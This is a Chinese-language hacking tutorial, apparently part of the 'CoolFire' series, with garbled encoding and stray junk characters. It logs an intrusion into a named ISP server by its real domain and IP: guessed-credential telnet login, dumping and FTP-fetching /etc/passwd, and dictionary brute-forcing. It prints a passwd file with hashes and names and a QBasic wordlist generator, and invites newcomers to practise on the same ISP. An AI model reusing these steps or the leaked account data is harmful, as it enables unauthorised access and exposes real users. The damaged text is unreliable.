如何破解系統(tǒng)（3）

這不是一個(gè)教學(xué)文件, 只是告訴你該如何破解系統(tǒng),好讓你能夠?qū)⒆约旱南到y(tǒng)作安全的保護(hù), 如果你能夠?qū)⑦@份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫(xiě)這篇文章的目的是要讓大家明白電腦安全的重要性, 并不是教人 Crack Password若有人因此文件導(dǎo)致惡意入侵別人的電腦或網(wǎng)路, 本人概不負(fù)責(zé) !!

! `- Q5 `% s  V前幾次說(shuō)到了 Net Coffee 店, 還好他們沒(méi)有提供客戶撥接上線的功能,不然密碼或是帳號(hào)被人盜用的客戶不就糗大了! 但是 CoolFire 在這兩周的探險(xiǎn)中, 為了找一個(gè)酷似網(wǎng)路咖啡站臺(tái)的
W3 密碼,誤入一個(gè)號(hào)稱第一個(gè)提供網(wǎng)路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd
2 D( g7 T4 `7 T- r9 T之後, 使用了自己寫(xiě)的 PaSs2DiC + CJack 來(lái)解出密碼, 沒(méi)想到不用 1 分鐘, 就找出了 9 組 ID 與Password 相同的密碼,勿怪我沒(méi)有在這里提醒大家, 還好我沒(méi)有找到 root password, 不然可能該系統(tǒng)就此停擺,不可再見(jiàn)天日也! (當(dāng)然我不可能這麼作啦!).

* f6 q$ `3 ]0 ?+ p" Y' z) M看看最近興起的網(wǎng)路咖啡及各大網(wǎng)站的系統(tǒng)安全設(shè)施, 再加上 CoolFire最近開(kāi)會(huì)的時(shí)候遇到的情況, 不難發(fā)現(xiàn)我們的國(guó)家正往高科技的領(lǐng)域快步邁進(jìn), 但是這些系統(tǒng)的安全性若不加強(qiáng),可能到時(shí)候人家只要一臺(tái)電腦再加上一臺(tái)數(shù)據(jù)機(jī)就可以讓整個(gè)國(guó)家的金融及工商業(yè)崩潰!
8 Z2 F+ b3 p7 R- @8 O大家要小心呀 !
# ?) T6 @& J& n+ `ISP 是一般 User 撥接的源頭, 技術(shù)上理應(yīng)比較強(qiáng), 但還是輕易讓人入侵, 且又沒(méi)有教導(dǎo)User 正確的網(wǎng)路使用觀念 (Password 的設(shè)定及 proxy 的使用等),實(shí)在不敢想像這樣的網(wǎng)路發(fā)展到幾年後會(huì)是甚麼樣子 ??

這一次的說(shuō)明還是沒(méi)有談到新的技巧, 在 James將首頁(yè)更新後各位應(yīng)該已經(jīng)可以從中學(xué)到許多東西了, 如果想要學(xué)習(xí)入侵, 就一定要知道最新的資訊 (入侵本國(guó)的網(wǎng)路則不用,反正沒(méi)人重視網(wǎng)路安全..... 真失望), 在別人還沒(méi)將 Bug 修正之前就搶先一步拿到 /etc/passwd,所以訂閱一些網(wǎng)路安全的 Mail List 是必要的, 多看一些網(wǎng)安有關(guān)的 News Group 也是必要的 (不僅 Hacker如此, ISP 更要多注意這些資訊!). 日後有空再整里一些 Mail List 給大家 !!

本次主題: 說(shuō)明如何連接該 ISP 并且對(duì)其 /etc/passwd 解碼連接位址: www.coffee.com.tw (203.66.169.11)特別說(shuō)明: 由於本次主題說(shuō)明重點(diǎn)使用真實(shí)的位址及名稱, 所以 CoolFire 已經(jīng) Mail給該網(wǎng)頁(yè)之維護(hù)人員更改密碼, 但該網(wǎng)頁(yè)之 ISP 仍為新手之練習(xí)好題材! CoolFire
Mail 給該網(wǎng)頁(yè)維護(hù)人員之信件內(nèi)容如下, 如果他還不盡快改掉, 我也沒(méi)辦法了!

Mail sent to [email protected]:
% N% X5 y8 e/ }, G& k1 r6 jSubject: 請(qǐng)速更動(dòng)網(wǎng)頁(yè)密碼
- @% s& I  t1 W0 F, u( b, uFrom: CoolFire <[email protected]>
( G" r4 P$ r1 M$ C5 L+ L
你的網(wǎng)頁(yè)作得不錯(cuò), 但是因?yàn)槟闼O(shè)定的密碼太容易為駭客所? 入侵, 請(qǐng)於見(jiàn)到此信後速速更改你的網(wǎng)頁(yè)進(jìn)入密碼, 否則下次若網(wǎng)頁(yè)遭到篡改, 本人概不負(fù)責(zé)!!

**** 課程開(kāi)始 ****

請(qǐng)注意: 由於本次所作的課程內(nèi)容以實(shí)作為主, 除了本人 IP 有所更改,一切都使用本人所用之
3 x1 y5 y- F6 P6 L7 @5 aTelnet 軟體 Log 檔收錄, 故若道德感不佳者請(qǐng)勿閱讀以下之詳細(xì)破解內(nèi)容,否則本人概不負(fù)責(zé)!
3 h# k8 D5 e6 F' @3 s- W
7 V1 E9 g3 R: I! D. @(連線到某一主機(jī)之後.... 此處的 ms.hinet.net.tw 是假的 Domain name)
5 D7 |! N4 {- Ums.hinet.net.tw> telnet www.coffee.com.tw
) }6 s4 D7 K) a8 O& ~  L+ Z& oTrying 203.66.169.11...
Connected to www.coffee.com.tw.
6 w+ v7 c9 ~0 i# C, P( L7 dEscape character is '^]'.
Password: (隨便按一下 Enter)
' n; D% |6 b% [- n! I, j0 ~Login incorrect
' d9 N1 o2 I: ]8 m& i$ O$ t& u+ M) h
4 _$ g1 p9 j) y, K7 \( w/ ~www login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee)
Password:
Last login: Thu Jan 9 10:41:52 from ms.hinet.net.tw
" ?9 s. C0 }  [
歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
=================================================================

$ ^$ R5 O' Z) P2 x(直接進(jìn)入核心部份)
www:~$ cd /etc
www:/etc$ ls
! G2 A- v) h) _% |DIR_COLORS hosts.equiv printcap
HOSTNAME hosts.lpd profile
NETWORKING inet@ protocols
5 Y: A3 d1 D6 n9 U3 kNNTP_INEWS_DOMAIN inetd.conf psdevtab
X11@ inittab rc.d/
7 Z2 @+ t6 h. Q: e, wat.deny inittab.gettyps.sample resolv.conf
3 n0 H* M- L4 b& h9 jbootptab ioctl.save rpc
2 U2 ]9 c: Q* w+ D% [7 ?- `; hcsh.cshrc issue securetty
csh.login issue.net securetty.old
' o( s5 ~  n4 v. w) udefault/ klogd.pid sendmail.cf
diphosts ld.so.cache sendmail.st
0 `* o8 f; d, q8 [5 L. Q/ xexports ld.so.conf services
fastboot lilo/ shells
fdprm lilo.conf shutdownpid
fs/ localtime skel/
. Y* Y1 B7 {8 J( S1 |% {fstab magic slip.hosts
# z2 ?( m) ^' Mftp.banner mail.rc slip.login
! R! R0 v! i) {, Uftp.deny motd snooptab
ftpaccess motd.bak sudoers
ftpconversions msgs/ syslog.conf
5 r% W- v9 s, Mftpgroups mtab syslog.pid
6 X) h& r! o, y6 xftpusers mtools termcap
gateways named.boot ttys
9 F# U9 g; ]1 Ygettydefs networks utmp@
: j* M$ a9 v9 cgroup nntpserver vga/
host.conf passwd wtmp@
hosts passwd.OLD yp.conf.example
1 w; P+ X. R  h: T* Lhosts.allow passwd.old
hosts.deny ppp/

(看看我們的目標(biāo)長(zhǎng)得如何???)
  C# k8 g9 L, r( C: N  }www:/etc$ cat passwd
$ y5 @9 h. d9 \# Iroot:abcdefghijklmn:0:0:root:/root:/bin/bash
' a3 @% S- M1 d) j- z4 {bin:*:1:1:bin:/bin:
8 G/ T( L3 J  L4 L- |daemon:*:2:2:daemon:/sbin:
+ L1 P& f3 ?+ L% N; q! Hadm:*:3:4:adm:/var/adm:
% H# g& J5 v0 @lp:*:4:7:lp:/var/spool/lpd:
0 M9 m  f6 `' B* d" N1 _. ]sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
+ g/ D: t6 ~+ {0 Thalt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
7 R1 p# r, w" L! E  K& {8 `; Pnews:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
* Z! ?0 {4 f; l  Doperator:*:11:0:operator:/root:/bin/bash
' U: R, E. m0 Y! d, i: ugames:*:12:100:games:/usr/games:
  V3 t6 v1 h; w' |6 g- hman:*:13:15:man:/usr/man:
8 O5 S3 p' Z- Hpostmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
* j( w3 ?+ S6 A; V& E8 Gnobody:*:-1:100:nobody:/dev/null:
2 z- D9 p: h0 y% ^ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
% W7 I$ ^) ]: F, Dfax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
- Z: i+ n6 [" `2 @% G7 _* a9 okanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
: V. x' J" q4 S  {carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
4 x- \. u$ J3 o4 g# M) t/ \, Dhaurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
( ~5 m0 Q* |7 n3 K: ?prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
; N1 _) G; H* f5 h" p8 y9 p* X% ~tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
! o/ U& J7 m& b$ d  gcorey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
7 p+ R4 Q! Z7 P% j% Nrichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
  Z7 [1 c' V4 j: gsupport:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
$ X/ c) I/ ]6 [stonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
  t, U5 h; m4 S7 h2 |bear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
lance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
3 ^$ g8 `8 J3 @! }, pservice:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
caves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
sales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
7 ~- e# b/ ^7 Zkingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
: X2 E7 s2 J7 k6 P& N& @recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
& @3 r. ?7 I. `recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
+ x: ?1 ]0 u& y  L! frecycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
" @* K- B8 U* [hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
2 l  \% [! a. ?  i' hgoodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
. m3 Z6 p  I. c9 T  N- Lrwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
: q- p- c8 d& ]! Mcharliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
/ T' B8 k+ ~& E# a6 N9 e0 kslb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
3 @  _6 y8 X$ f& U6 gs6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
' Q' ]/ J2 X6 jlsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
& [( K- f5 T5 v) Q& \" d0 m% ~. Wlilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
0 l3 j' L0 w. _* pnalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
, Z8 k1 V$ @( K4 V0 B7 ~1 p7 Vjordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
0 g6 B9 E1 y" @' @toonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
( w1 K: g  f; |yahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
& u4 {4 H0 w: |- ?' `1 G9 G. obasic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
* \. j# E5 \& y! N' bwunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
2 l0 L0 C! v) j6 Q7 hkaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
shuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
fan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash

(CoolFire 注: 因?yàn)槭褂?PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee外, 其它我找到密碼的 EnCode Password 部份皆改過(guò)..... 除非你一個(gè)一個(gè)試?yán)瞺~~ 我沒(méi)說(shuō)喔!)
, a' x6 r5 S6 |  m
www:/etc$ exit
logout
3 B& l; L5 N5 f+ Z& IConnection closed by foreign host.
- q; R  M* I7 L: q
6 c! a. f9 J! M6 a2 A# a7 F(可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來(lái)吧!)

ms.hinet.net.tw> ftp www.coffee.com.tw
Connected to www.coffee.com.tw.
220-
6 z* @) o" D* q  Y) n0 e/ v6 ]3 g220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
220-
220-
7 ^. S3 u! H2 X* q2 Q- |1 S/ u220- There are 0 users in FTP Server now.
* j/ ^" J; s3 P" i220- 目前已有 0 使用者在此 Server 上.
# q/ f; T& f% L8 Q- ^220- If you have any suggestion, please mail to:
/ Y% n; ]- b  A! O3 T3 f4 B220- [email protected].
220-
* i# c+ j: ?/ W7 S. A8 \( X220-
+ n; H. J3 y3 `. z8 q6 r220-
220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
  o8 R! I- k# j' R# z
(還是使用剛剛的帳號(hào)進(jìn)入)
; A% Y4 A, Z) x0 G: p4 e/ f
Name (www.coffee.com.tw:YourName): coffee
331 Password required for coffee.
0 c# j3 n4 a8 _4 g2 R* A: CPassword:
( X! S1 S8 ]$ h230 User coffee logged in.
( `* v3 y- i% z! a* T" URemote system type is UNIX.
Using binary mode to transfer files.

(直接到達(dá)檔案放置地點(diǎn))
- A( n/ H7 }; o" s, s
ftp> cd /etc
- P0 b7 e9 c0 ^; V. L" h9 b7 z) ]250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
ttys
6 ^) l( M, @3 g5 z  R- vfdprm
9 h+ o- P" @( {/ [1 lgroup
issue
motd
mtools
profile
4 q; F1 g( c" `7 `securetty
shells
termcap
. ]+ p0 f9 L) e7 Z+ zskel
csh.cshrc
csh.login
lilo
8 {  K. `, B; C; Hinet
. H  ]% v* W: c4 J5 V" sdefault
- d, m/ p1 C+ U0 e( t( zservices
HOSTNAME
% j) r: e2 [' _8 |" W% gDIR_COLORS
" S. b- e  N, z- B5 J  zpasswd
passwd.OLD
wtmp
$ A3 x0 G9 Y+ y6 {( sutmp
5 X( p. @+ Z  e, k0 ogettydefs
inittab.gettyps.sample
ld.so.conf
6 j- w8 @& t- E; H& Bld.so.cache
: A9 z, u# ]1 e+ R9 L' X& yat.deny
6 S7 C6 _6 y+ bfs
- D9 A8 c2 B: g* Hmagic
rc.d
syslog.conf
; O: W2 p) w- L$ D* B  Nprintcap
inittab
sudoers
' s& |! h: k4 P- j8 Xvga
diphosts
$ l: G) g9 ~% g, Q% b. _1 e; vmail.rc
" D8 U) Z+ k' ^' V' f$ Cppp
NNTP_INEWS_DOMAIN
sendmail.st
2 x5 L9 {# C) vNETWORKING
gateways
8 d) Y5 \- |5 j" n2 {& Cbootptab
( w) N7 ^5 {3 A4 Eexports
; |: Z" |- t6 cftpusers
, ~. _) W4 V( J# l3 O" B8 Whost.conf
hosts
hosts.allow
hosts.deny
hosts.equiv
% o% f) Y  h& V! E  q/ B) jinetd.conf
named.boot
networks
nntpserver
0 M  P. k& P& A, c! yprotocols
resolv.conf
6 C3 W9 J9 j/ i1 y" m. _rpc
/ y$ H2 {! H0 |2 R. D$ j  E- nftpaccess
' J5 I3 k$ K7 v3 I  Nhosts.lpd
  T) I5 M6 G2 r" Mftpconversions
snooptab
, J( b" \# n& a3 E( Z4 Mmsgs
1 b6 y7 @0 }3 Q7 T+ D' Pftpgroups
/ u+ e/ r2 X6 V8 Z- k/ gslip.login
2 V4 n+ N6 x( j( k( a; ^) }; o0 rslip.hosts
* p- z$ |8 C% l' {( xyp.conf.example
7 b0 J, _/ o( U: a% M9 c! nX11
lilo.conf
sendmail.cf
* u9 o2 U3 u; Z$ M1 i9 {% J, u9 v5 zfstab
* Q. }) ^# ^$ k7 W/ \fastboot
* Y8 _& E3 ?2 ?- o3 x" ^. K: Amtab
syslog.pid
4 y  `: O* j7 S: v$ }- @klogd.pid
. y8 K# L6 ~% _0 l/ m3 c* Kshutdownpid
localtime
+ }  e2 n# d% F( w  o, dpasswd.old
- }% l0 |7 y  F* hioctl.save
# X7 a" o' g7 Y6 Cpsdevtab
8 J  ^" k1 R5 R; M( [1 Vftp.banner
: \" ]' h9 i% ]7 V- k$ Kftp.deny
  K# v( r/ a# G' Z( r$ Iissue.net
motd.bak
- _; q3 Z; m: e& t. hsecuretty.old
% C' C% G1 o8 Q4 n' r$ e1 S: O& r4 R226 Transfer complete.

(取回該檔案)
- c8 F: v' _9 m7 T' Q1 x
ftp> get passwd
0 B8 p: B* v  ?7 J9 O200 PORT command successful.
150 Opening BINARY mode data connection for passwd (4081 bytes).
226 Transfer complete.
! Z& R! e- S& `8 g, m4081 bytes received in 2.5 seconds (1.6 Kbytes/s)

(盡速離開(kāi))

7 m* c: y& z4 t" Q# V# {ftp> bye
% I4 M3 ~- W9 D; M+ a1 \221 Goodbye.
( }2 A. t  x1 f
好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來(lái)吧
!!快點(diǎn)跑一下, 讓它自動(dòng)產(chǎn)生字典檔案:
$ ~% P" M0 F/ r
: u- x8 ^5 @/ f- P0 |! cC:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.

* E8 |# Z& n% H0 a% ZThis tool will:
7 j9 p! ?9 x/ W2 g7 }
" u. y, p3 F0 j/ x( y8 y[1] Load PASSWD file and convert it to only username text file
[2] Write the file to a dictionary file you choise for target
! J$ Q: T9 g* U# a7 ~
Your Source PASSWD File Name: passwd
Your Target Dictionary Name: dic.cfe

% ^4 m# e' X* j0 l" e6 U1 OPaSs2DiC Author: James Lin E-Mail: [email protected]
& c9 z  B9 l& _FETAG Software Development Co: http://www.showtower.com.tw/~fetag
8 k* H# i3 ~9 y' a! l* U6 g
; ^3 c5 m& v9 |C:\hack>

(這樣就好了 ! 自動(dòng)產(chǎn)生的檔案會(huì)放在 dic.cfe 這個(gè)檔案中, 咱們跑一下 Brute Force看看!)


( T. m! A7 r4 z% ?C:\hack>fbrute passwd @dic.cfe

BRUTE!, Unix Brute Force Hacking Routine. v2.0
Copyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
' T$ \& Z4 M  |闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡
$ R7 @1 ^: f; l; m) x
0 m' I, \+ a  P9 T1 }* v" P　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
Attempts/Hits: 5184/9
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
% n  E/ j& ?" b, A0 _$ H  M1 u
2 M  E7 a1 s  N6 c; ?  m6 Q6 X) dTaking list input from dic.cfe
Beginning search of passwd for password: xxx
' ~( ]7 v/ v: j2 O7 r
% r, k/ A1 M/ f" R: y% J8 lMatch for password xxxxxx found! Username: xxxxxx
! N8 i- K( `' p/ G- W* I# T$ F; PMatch for password xxxxx found! Username: xxxxx
4 J$ _& T( q* E- r* t. KMatch for password xxx found! Username: xxx
1 f% t' V1 m  UMatch for password xxxxxx found! Username: xxxxxx
Match for password xxxxxx found! Username: xxxxxx
6 Q& Q, s% e+ i& _) vMatch for password coffee found! Username: coffee
Match for password xxxxxxx found! Username: xxxxxxx
/ p, g: u& D& b" L4 a; d5 iMatch for password xxx found! Username: xxx
Match for password xxxx found! Username: xxxx

Done.

C:\hack>

看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實(shí)在是....@#$%^...&*因某些關(guān)系所以其它部份要被 "馬賽克" 起來(lái), 請(qǐng)各位讀者見(jiàn)量!
$ f4 b- e& n3 E. O- J; F
**** 再談密碼 ****

4 I& C' p# @3 _$ f: R看了以上的破解示范, 就可以了解到許多人還是對(duì)於 "密碼" 這東西不是很有 "密碼"的觀念, 人就是那麼的懶, 隨便設(shè)定一個(gè)好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用
QBasic 來(lái)設(shè)計(jì)一個(gè)自動(dòng)產(chǎn)生密碼的小程式, 相信對(duì)許多人有很大的幫助,底下我們?cè)賮?lái)淺顯的介紹一下字母密碼的產(chǎn)生方法, 相信對(duì)於你在 Hack 某站會(huì)有更大的幫助.

事情的開(kāi)始是有一位網(wǎng)友 mail 給我, 問(wèn)我字典檔要如何寫(xiě)程式來(lái) "自動(dòng)擴(kuò)大",而讓我有了寫(xiě)這一段的想法, 現(xiàn)在我就針對(duì)這位網(wǎng)友的問(wèn)題作一個(gè)更詳細(xì)的說(shuō)明 (因已簡(jiǎn)短回信答覆),并且寫(xiě)出來(lái)讓大家了解一下, 當(dāng)然我們的示范還是使用 QBasic, 因?yàn)檫@是最容易找到的程式了,而且語(yǔ)法大家也可能會(huì)比較熟悉一點(diǎn), 如果我使用 VB 或 C 來(lái)寫(xiě), 可能有些人只會(huì)拿去用,而不會(huì)去修改或者寫(xiě)個(gè)好一點(diǎn)的出來(lái)!
( \- a- F1 g- `  E7 z  m
$ ?( Z& q/ ]/ ^! {: g先說(shuō)明一下原理好了: 我們所要作的程式是一個(gè)自動(dòng)產(chǎn)生字典檔的程式,所以我們要了解字的字母排列到底有哪些方法可循?? 我們先舉幾個(gè)簡(jiǎn)單的單字出來(lái)比較看看:
& n5 n3 v& ?* a* E* u. |5 F8 m4 Z% Y
[1] apple [2] guest [3] james [4] superman [5] password
7 d2 B7 F; O. L9 j
; M# P! f8 O# \$ G$ k$ ]OK! 來(lái)看看! 如果你有一點(diǎn)英文的概念的話應(yīng)該會(huì)知道母音及子音吧 !
$ Q# j0 w; _6 Q  O/ i我們首先這樣說(shuō)明: 母音在英文
上有 : A E I O U 這五個(gè), 所有的英文單字都會(huì)有這些母音(有些沒(méi)有的可能是專有名詞或縮寫(xiě)), 也有可能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
再來(lái)就是比較每個(gè)字的開(kāi)頭, 有可能是母音,也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student是兩個(gè)子音再接一個(gè)母音字母, 所以接下來(lái)依照常用字將這些子音找出來(lái), 我想了一下大概有: br, bl, cl, dg,dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請(qǐng)自行統(tǒng)計(jì)), 然後是結(jié)尾部份, 通常結(jié)尾部分有下列幾種: e;est; ord; ard; ls; es; s...等好多好多, 我們稍為思考一下就知道要如何寫(xiě)出這樣的程式出來(lái)了 !!
我大略寫(xiě)一個(gè)簡(jiǎn)單的, 其它大家自行發(fā)揮, 如果有人學(xué)語(yǔ)言學(xué)的, 請(qǐng)幫忙弄一份常用組合表出來(lái), 可能會(huì)更有幫助吧 !!

' G5 x+ \( `. a- M  Q2 a底下就是該程式片段, 執(zhí)行後會(huì)產(chǎn)生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120個(gè)字的字典!!

2 ^0 t; E( v' d, Y, t; `--------------- MakeDic.BAS Start Here
-------------------------------------------------------------------------------
1 Q" N3 ^2 C8 S( _--------
3 \7 o2 I5 G3 |% P& ADIM FirstWord$(20)
- @% {+ h7 b' R& pDIM MotherWord$(13)
( c2 q7 s( I( T2 JDIM LastWord$(12)

2 M- @& ~, u3 U5 \  Y9 WDATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
"t", "p", "k" , "f", "m", "n", "b","k"
" ?: ?, Y8 u& ?DATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
$ E' @7 I( y  E7 R6 a) y0 HDATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"
8 |+ H& Y, ~3 J# y: h4 [% J2 t- B
* Q6 ~% w3 U, H9 ~$ ^FOR I = 1 TO 20
% O5 H' B8 @  m! |READ FirstWord$(I)
1 H5 c1 N$ O  }- y7 DPRINT FirstWord$(I)
NEXT I

; G7 l. v; Q& KFOR I = 1 TO 13
READ MotherWord$(I)
NEXT I

$ z$ z1 J# W. I& p2 ?7 hFOR I = 1 TO 12
. A* y" M% Z: Z* b8 |READ LastWord$(I)
NEXT I
$ K+ `# I0 b5 ]/ ]
9 w% w; d# \- m: dOPEN "MyDic.txt" FOR OUTPUT AS #1

FOR I = 1 TO 20
: s( W, m! l1 d' AFOR J = 1 TO 13
FOR K = 1 TO 12
/ N6 j9 O  |. i6 h% GPRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
NEXT K
* \* \7 M/ d+ ^NEXT J
3 M( B+ s3 G" `4 UNEXT I
, o5 S6 t  s* a- i4 m6 i
9 ~8 Y  a6 b5 V9 l; ]CLOSE : END
! o' v6 ?( x* ^--------------- Cut Here, End of MakeDic.BAS
: m5 u2 r8 L3 l3 a, [& j/ ]# d-------------------------------------------------------------------------------
$ d* r$ E; V. O4 i1 k# R- ^-
  q" ^  S6 P* Z3 S6 M9 O& E  L
當(dāng)然這只是小部份的組合, 相信你可以作出一個(gè)更大的字典檔出來(lái), 如:
子音+母音+子音+母音+子音, 作出來(lái)的字典檔會(huì)很嚇人喔 !! 這一個(gè)部份就講到這里了 ! 如果你有很棒的字典產(chǎn)生程式,寫(xiě)好了請(qǐng) Mail 一份給我喔 !! 如果可以的話請(qǐng)說(shuō)明是否可以公布在我的 W3 上讓其它人下載 !!還是你只是要給我 ?!
% p/ z7 l; H% x1 B
# F' v' w9 f( X  |希望每次講到密碼的問(wèn)題後, 大家可以將這些密碼的產(chǎn)生方法與自己的密碼對(duì)照看看,如果有相同的請(qǐng)趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒(méi)有人要聽(tīng)嗎 ??? 咖啡業(yè)者...... ISP
們.... 教教你們的使用者吧..... 唉~~~~
! i: o6 w% }) p7 n2 a

8 }- G) P, i: W- \**** 後語(yǔ) ****
8 M+ C. q) y6 ~" r2 ?7 X$ M8 k! l
我們的首頁(yè)感謝大家的支持, 現(xiàn)在人數(shù)已經(jīng)到達(dá) 2,000 了, 這是一個(gè)地下站(未對(duì)外正式公布) 很棒的一個(gè)數(shù)字, 在與其它工作室人員研究之後, 暫時(shí)不對(duì)外公布站址, 如果你是 "誤闖"到本站來(lái)的! 我們歡迎你的加入, 但目前尚不考慮對(duì)外公布站址, 請(qǐng)您在告訴你的朋友有這麼一個(gè)站存在的時(shí)候,請(qǐng)他不要隨便告訴別人 (請(qǐng)只告訴你信賴的朋友; 或?qū)﹄娔X有一份特別狂熱的人, 我們都?xì)g迎他們的加入),我們目前所采用的方式將是開(kāi)放式的! 對(duì)首頁(yè)部份暫時(shí)不以密碼方式處理.

